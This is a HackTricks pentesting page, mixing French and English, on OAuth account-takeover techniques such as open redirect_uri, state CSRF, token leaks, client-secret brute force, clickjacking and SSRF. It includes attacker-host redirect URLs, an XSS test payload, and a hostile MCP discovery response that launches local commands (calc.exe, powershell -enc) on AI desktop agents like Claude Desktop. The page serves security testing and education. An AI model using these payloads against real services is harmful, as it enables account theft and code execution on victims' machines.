OAuth to Account takeover

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an cadre d’autorisation qui permet à une application d’accéder ou d’effectuer des actions sur le compte d’un utilisateur dans une autre application (the authorization server).

Considérons un site hypothétique https://example.com, conçu pour afficher tous vos posts sur les réseaux sociaux, y compris les posts privés. Pour ce faire, OAuth 2.0 est utilisé. https://example.com demandera votre permission pour accéder à vos posts sur les réseaux sociaux. Par conséquent, un écran de consentement apparaîtra sur https://socialmedia.com, décrivant les permissions demandées et le développeur effectuant la demande. Après votre autorisation, https://example.com obtient la capacité de consulter vos posts en votre nom.

Il est essentiel de comprendre les composants suivants dans le framework OAuth 2.0 :

  • resource owner: Vous, en tant que user/entity, autorisez l’accès à votre ressource, comme les posts de votre compte sur les réseaux sociaux.
  • resource server: Le serveur qui gère les requêtes authentifiées après que l’application a obtenu un access token au nom du resource owner, par exemple https://socialmedia.com.
  • client application: L’application qui demande l’autorisation du resource owner, telle que https://example.com.
  • authorization server: Le serveur qui délivre les access tokens à la client application après l’authentification réussie du resource owner et l’obtention de l’autorisation, par exemple https://socialmedia.com.
  • client_id: Un identifiant public et unique pour l’application.
  • client_secret: Une clé confidentielle, connue uniquement de l’application et de l’authorization server, utilisée pour générer des access_tokens.
  • response_type: Une valeur spécifiant le type de token demandé, comme code.
  • scope: Le niveau d’accès que la client application demande au resource owner.
  • redirect_uri: L’URL vers laquelle l’utilisateur est redirigé après l’autorisation. Cela doit généralement correspondre à l’URL de redirection pré-enregistrée.
  • state: Un paramètre pour conserver des données pendant la redirection de l’utilisateur vers et depuis l’authorization server. Son unicité est critique pour servir de mécanisme de protection CSRF.
  • grant_type: Un paramètre indiquant le type de grant et le type de token à retourner.
  • code: Le code d’autorisation provenant de l’authorization server, utilisé conjointement avec client_id et client_secret par la client application pour obtenir un access_token.
  • access_token: Le token que la client application utilise pour les requêtes API au nom du resource owner.
  • refresh_token: Permet à l’application d’obtenir un nouveau access_token sans redemander à l’utilisateur.

Flux

Le flux OAuth réel se déroule comme suit :

  1. Vous naviguez vers https://example.com et sélectionnez le bouton « Intégrer aux réseaux sociaux ».
  2. Le site envoie alors une requête à https://socialmedia.com demandant votre autorisation pour permettre à l’application de https://example.com d’accéder à vos posts. La requête est structurée comme :
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Une page de consentement vous est alors présentée.
  2. Après votre approbation, Social Media envoie une réponse au redirect_uri contenant les paramètres code et state :
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utilise ce code, avec son client_id et son client_secret, pour effectuer une requête côté serveur afin d’obtenir un access_token en votre nom, permettant d’accéder aux permissions auxquelles vous avez consenti :
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Enfin, le processus se conclut lorsque https://example.com utilise votre access_token pour effectuer un appel API vers Social Media afin d’accéder

Vulnérabilités

Open redirect_uri

Per RFC 6749 §3.1.2, le serveur d’autorisation doit rediriger le navigateur uniquement vers des pre-registered, exact redirect URIs. Toute faiblesse ici permet à un attaquant d’envoyer une victime via une URL d’autorisation malveillante afin que l’IdP livre le code (et le state) de la victime directement vers un endpoint contrôlé par l’attaquant, qui peut alors l’échanger et récolter des tokens.

Flux d’attaque typique :

  1. Créer https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback et l’envoyer à la victime.
  2. La victime s’authentifie et approuve les scopes.
  3. L’IdP redirige vers attacker.tld/callback?code=<victim-code>&state=... où l’attaquant enregistre la requête et échange immédiatement le code.

Bugs de validation courants à tester :

  • Aucune validation – toute URL absolue est acceptée, entraînant le vol instantané du code.
  • Vérifications faibles par sous-chaîne/regex sur l’hôte – contournement possible avec des lookalikes tels que evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ou match.com@evil.com.
  • IDN homograph mismatches – la validation se fait sur la forme punycode (xn--), mais le navigateur redirige vers le domaine Unicode contrôlé par l’attaquant.
  • Chemins arbitraires sur un hôte autorisé – en pointant redirect_uri vers /openredirect?next=https://attacker.tld ou tout endpoint XSS/contenu-utilisateur, cela leaks le code soit via des redirections en chaîne, les Referer headers, ou du JavaScript injecté.
  • Contraintes de répertoire sans normalisation – des motifs comme /oauth/* peuvent être contournés avec /oauth/../anything.
  • Wildcard subdomains – accepter *.example.com signifie que tout takeover (dangling DNS, S3 bucket, etc.) fournit immédiatement un callback valide.
  • Callbacks non-HTTPS – laisser passer des URI http:// donne aux attaquants réseau (Wi‑Fi, proxy d’entreprise) l’occasion d’attraper le code en transit.

Passez également en revue les paramètres auxiliaires de type redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) et le document de découverte OpenID (/.well-known/openid-configuration) pour d’autres endpoints susceptibles d’hériter des mêmes bugs de validation.

Fuite de tokens de redirection sur des domaines allowlistés avec des sous-chemins contrôlés par l’attaquant

Verrouiller le redirect_uri sur des « domaines owned/first-party » n’aide pas si un domaine allowlisté expose des chemins ou contextes d’exécution contrôlés par l’attaquant (plateformes d’apps legacy, namespaces utilisateurs, uploads CMS, etc.). Si le flux OAuth/federated login returns tokens in the URL (query ou hash), un attaquant peut :

  1. Démarrer un flux légitime pour mint un pré-token (par ex., un etoken dans un flux Accounts Center/FXAuth en plusieurs étapes).
  2. Envoyer à la victime une URL d’autorisation qui met le domaine allowlisté comme redirect_uri/base_uri mais pointe le next/chemin vers un namespace contrôlé par l’attaquant (par ex., https://apps.facebook.com/<attacker_app>).
  3. Après que la victime approuve, l’IdP redirige vers le chemin contrôlé par l’attaquant avec des valeurs sensibles dans l’URL (token, blob, codes, etc.).
  4. Le JavaScript sur cette page lit window.location et exfiltre les valeurs malgré que le domaine soit « trusted ».
  5. Rejouer les valeurs capturées contre des endpoints privilégiés en aval qui n’attendent que les tokens fournis via la redirection.

Exemples provenant du flux FXAuth :

# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS dans l’implémentation du redirect

Comme mentionné dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html il est possible que la redirect URL soit reflétée dans la réponse du serveur après l’authentification de l’utilisateur, étant vulnérable à XSS. Payload possible à tester:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Mauvaise gestion du paramètre state

Le paramètre state est le CSRF token du Authorization Code flow : le client doit générer une valeur cryptographiquement aléatoire par instance de navigateur, la persister quelque part que seul ce navigateur peut lire (cookie, local storage, etc.), l’envoyer dans la requête d’autorisation, et rejeter toute réponse qui ne renvoie pas la même valeur. Chaque fois que la valeur est statique, prévisible, optionnelle ou non liée à la session de l’utilisateur, l’attaquant peut terminer son propre flux OAuth, capturer la requête finale contenant ?code= (sans l’envoyer), puis contraindre plus tard un navigateur victime à rejouer cette requête pour que le compte de la victime soit lié au profil de l’attaquant chez l’identity provider.

Le schéma de replay est toujours le même :

  1. L’attaquant s’authentifie auprès de l’IdP avec son compte et intercepte le dernier redirect contenant code (et éventuellement state).
  2. Il abandonne cette requête, conserve l’URL, et abuse ensuite de n’importe quel primitive CSRF (lien, iframe, formulaire auto-soumis) pour forcer le navigateur victime à la charger.
  3. Si le client n’applique pas state, l’application consomme le résultat d’autorisation de l’attaquant et connecte l’attaquant au compte de l’application de la victime.

Checklist pratique pour la gestion de state pendant les tests :

  • Missing state entirely – si le paramètre n’apparaît jamais, tout le login est vulnérable à CSRF.
  • state not required – supprimez-le de la requête initiale ; si l’IdP délivre quand même des codes que le client accepte, la défense est opt-in.
  • Returned state not validated – altérez la valeur dans la réponse (Burp, MITM proxy). Accepter des valeurs non concordantes signifie que le token stocké n’est jamais comparé.
  • Predictable or purely data-driven state – beaucoup d’apps placent des chemins de redirection ou des blobs JSON dans state sans y ajouter d’entropie, permettant aux attaquants de deviner des valeurs valides et de rejouer des flows. Toujours préfixer/suffixer une forte entropie avant d’encoder les données.
  • state fixation – si l’app permet aux utilisateurs de fournir la valeur state (par ex. via des URLs d’autorisation craftées) et la réutilise tout au long du flow, un attaquant peut verrouiller une valeur connue et la réutiliser sur plusieurs victimes.

PKCE peut compléter state (surtout pour les public clients) en liant l’autorization code à un code verifier, mais les clients web doivent malgré tout suivre state pour prévenir les bugs CSRF/liens de compte entre utilisateurs.

Pre Account Takeover

  1. Sans vérification de l’adresse e-mail lors de la création du compte : Les attaquants peuvent créer de manière préventive un compte en utilisant l’adresse e-mail de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l’application pourrait involontairement lier ce compte tiers au compte pré-créé de l’attaquant, conduisant à un accès non autorisé.
  2. Exploitation d’une vérification d’adresse e-mail laxiste sur OAuth : Les attaquants peuvent abuser de services OAuth qui ne vérifient pas les e-mails en s’inscrivant chez eux puis en changeant l’e-mail du compte pour celui de la victime. Cette méthode présente un risque d’accès non autorisé similaire au premier scénario, mais via un vecteur différent.

Disclosure of Secrets

Le client_id est intentionnellement public, mais le client_secret ne doit jamais être récupérable par les utilisateurs finaux. Les déploiements Authorization Code qui embarquent le secret dans des APK mobiles, des clients desktop ou des single-page apps donnent en pratique cette credential à quiconque peut télécharger le package. Inspectez toujours les public clients en :

  • Décompressant l’APK/IPA, l’installateur desktop ou l’app Electron et en recherchant (grep) client_secret, des blobs Base64 décodables en JSON, ou des endpoints OAuth codés en dur.
  • Revue des fichiers de config embarqués (plist, JSON, XML) ou des chaînes décompilées à la recherche de credentials client.

Une fois que l’attaquant extrait le secret, il lui suffit de voler n’importe quel code d’autorisation d’une victime (via un redirect_uri faible, des logs, etc.) pour frapper /token indépendamment et générer des access/refresh tokens sans impliquer l’app légitime. Considérez les public/native clients comme incapables de garder des secrets — ils devraient plutôt s’appuyer sur PKCE (RFC 7636) pour prouver la possession d’un code verifier par instance plutôt qu’un secret statique. Pendant les tests, confirmez si PKCE est obligatoire et si le backend rejette effectivement les échanges de tokens qui omettent soit le client_secret ou un code_verifier valide.

Client Secret Bruteforce

Vous pouvez essayer de bruteforcer le client_secret d’un service provider avec l’identity provider afin d’essayer de voler des comptes.
La requête pour BF peut ressembler à :

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Pour plus d’infos détaillées sur la façon d’abuser d’AWS Cognito, consultez AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

Comme mentioned in this writeup, les flux OAuth qui s’attendent à recevoir le token (et non un code) pourraient être vulnérables s’ils ne vérifient pas que le token appartient à l’application.

Ceci s’explique parce qu’un attacker pourrait créer une application supporting OAuth and login with Facebook (par exemple) dans sa propre application. Ensuite, une fois qu’une victim se connecte via Facebook dans l’attackers application, l’attaquant pourrait obtenir le OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Donc, si l’attacker parvient à faire en sorte que l’utilisateur accède à sa propre OAuth application, il pourra prendre le contrôle du victims account dans des applications qui attendent un token et ne vérifient pas si le token a été accordé à leur app ID.

Selon this writeup, il était possible d’amener une victim à ouvrir une page avec un returnUrl pointant vers l’attackers host. Cette info serait stored in a cookie (RU) et, lors d’une later step, le prompt demandera au user s’il veut donner l’accès à cet attackers host.

Pour bypasser ce prompt, il était possible d’ouvrir un onglet pour initier le Oauth flow qui définirait ce cookie RU en utilisant le returnUrl, fermer l’onglet avant que le prompt ne s’affiche, puis ouvrir un nouvel onglet sans cette valeur. Ensuite, le prompt won’t inform about the attackers host, mais le cookie serait réglé sur celui-ci, donc le token will be sent to the attackers host lors de la redirection.

Prompt Interaction Bypass

Comme expliqué dans this video, certaines implémentations OAuth permettent d’indiquer le paramètre GET prompt à None (&prompt=none) pour prevent users being asked to confirm l’accès donné dans un prompt sur le web si ils sont déjà connectés à la plateforme.

response_mode

Comme explained in this video, il peut être possible d’indiquer le paramètre response_mode pour indiquer où vous voulez que le code soit fourni dans l’URL finale :

  • response_mode=query -> Le code est fourni à l’intérieur d’un paramètre GET : ?code=2397rf3gu93f
  • response_mode=fragment -> Le code est fourni à l’intérieur du fragment de l’URL #code=2397rf3gu93f
  • response_mode=form_post -> Le code est fourni à l’intérieur d’un formulaire POST avec un input appelé code et la valeur
  • response_mode=web_message -> Le code est envoyé dans un post message : window.opener.postMessage({"code": "asdasdasd...

Les dialogues de consentement/connexion OAuth sont des cibles idéales pour le clickjacking : s’ils peuvent être encadrés, un attacker peut superposer des graphismes personnalisés, masquer les vrais boutons et tromper les users pour qu’ils approuvent des scopes dangereux ou lient des comptes. Construisez des PoCs qui :

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

Lors des tests, vérifiez que les pages IdP émettent soit X-Frame-Options: DENY/SAMEORIGIN soit une Content-Security-Policy: frame-ancestors 'none' restrictive. Si aucune n’est présente, démontrez le risque avec des outils comme NCC Group’s clickjacking PoC generator et enregistrez à quel point une victim autorise facilement l’app de l’attacker. Pour d’autres idées de payload, voir Clickjacking.

OAuth ROPC flow - 2 FA bypass

Selon this blog post, il s’agit d’un OAuth flow qui permet de se connecter via username et password. Si, pendant ce flux simple, un token avec accès à toutes les actions que l’user peut effectuer est renvoyé, il est possible de bypasser le 2FA en utilisant ce token.

ATO on web page redirecting based on open redirect to referrer

Ce blogpost explique comment il était possible d’abuser d’un open redirect basé sur la valeur du referrer pour abuser OAuth en vue d’un ATO. L’attaque était :

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research Pour plus de détails sur cette technique.

Dynamic Client Registration in OAuth sert de vecteur moins évident mais critique pour des vulnérabilités de sécurité, spécifiquement pour des attaques Server-Side Request Forgery (SSRF). Cet endpoint permet aux serveurs OAuth de recevoir des détails sur des client applications, y compris des URLs sensibles qui pourraient être exploitées.

Key Points:

  • Dynamic Client Registration est souvent mappé sur /register et accepte des détails comme client_name, client_secret, redirect_uris, et des URLs pour les logos ou JSON Web Key Sets (JWKs) via des requêtes POST.
  • Cette fonctionnalité respecte les spécifications décrites dans RFC7591 et OpenID Connect Registration 1.0, qui incluent des paramètres potentiellement vulnérables au SSRF.
  • Le processus d’enregistrement peut involontairement exposer les serveurs au SSRF de plusieurs façons :
  • logo_uri : Une URL pour le logo de la client application qui pourrait être récupérée par le serveur, déclenchant un SSRF ou conduisant à un XSS si l’URL est mal gérée.
  • jwks_uri : Une URL vers le document JWK du client, qui si elle est manipulée malicieusement, peut pousser le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l’attaquant.
  • sector_identifier_uri : Référence un tableau JSON de redirect_uris, que le serveur pourrait récupérer, créant une opportunité SSRF.
  • request_uris : Liste des request URIs autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URIs au démarrage du processus d’autorisation.

Exploitation Strategy:

  • Le SSRF peut être déclenché en enregistrant un nouveau client avec des URLs malicieuses dans des paramètres comme logo_uri, jwks_uri ou sector_identifier_uri.
  • Bien que l’exploitation directe via request_uris puisse être atténuée par des contrôles de whitelist, fournir un request_uri pré-enregistré et contrôlé par l’attaquant peut faciliter le SSRF pendant la phase d’autorisation.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

La recherche sur CVE-2025-6514 (impactant des clients mcp-remote tels que Claude Desktop, Cursor ou Windsurf) montre comment dynamic OAuth discovery devient une primitive RCE chaque fois que le client transmet les metadata IdP directement au système d’exploitation. Le serveur MCP distant renvoie un authorization_endpoint contrôlé par l’attaquant lors de l’échange de discovery (/.well-known/openid-configuration ou tout RPC de metadata). mcp-remote ≤0.1.15 appelait alors le gestionnaire d’URL du système (start, open, xdg-open, etc.) avec n’importe quelle chaîne reçue, de sorte que tout scheme/chemin supporté par l’OS s’exécutait localement.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Le client lance le gestionnaire OS pour l’URI fourni. Windows accepte des payloads comme file:/c:/windows/system32/calc.exe /c"powershell -enc ..." ; macOS/Linux acceptent file:///Applications/Calculator.app/... ou même des schemes personnalisés tels que cmd://bash -lc '<payload>' s’ils sont enregistrés.
  2. Parce que cela se produit avant toute interaction utilisateur, le simple fait de configurer le client pour qu’il parle au serveur de l’attaquant entraîne l’exécution de code.

Comment tester

  • Ciblez tout desktop/agent compatible OAuth qui effectue la discovery via HTTP(S) et ouvre localement les endpoints retournés (Electron apps, CLI helpers, thick clients).
  • Interceptez ou hébergez la réponse de discovery et remplacez authorization_endpoint, device_authorization_endpoint, ou des champs similaires par file://, cmd://, des chemins UNC, ou d’autres schemes dangereux.
  • Vérifiez si le client valide le scheme/host. L’absence de validation entraîne une exécution immédiate dans le contexte de l’utilisateur et prouve la vulnérabilité.
  • Répétez avec différents schemes pour cartographier l’ensemble de la surface d’attaque (p.ex., ms-excel:, data:text/html,, custom protocol handlers) et démontrer la portée cross-platform.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// is matched based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks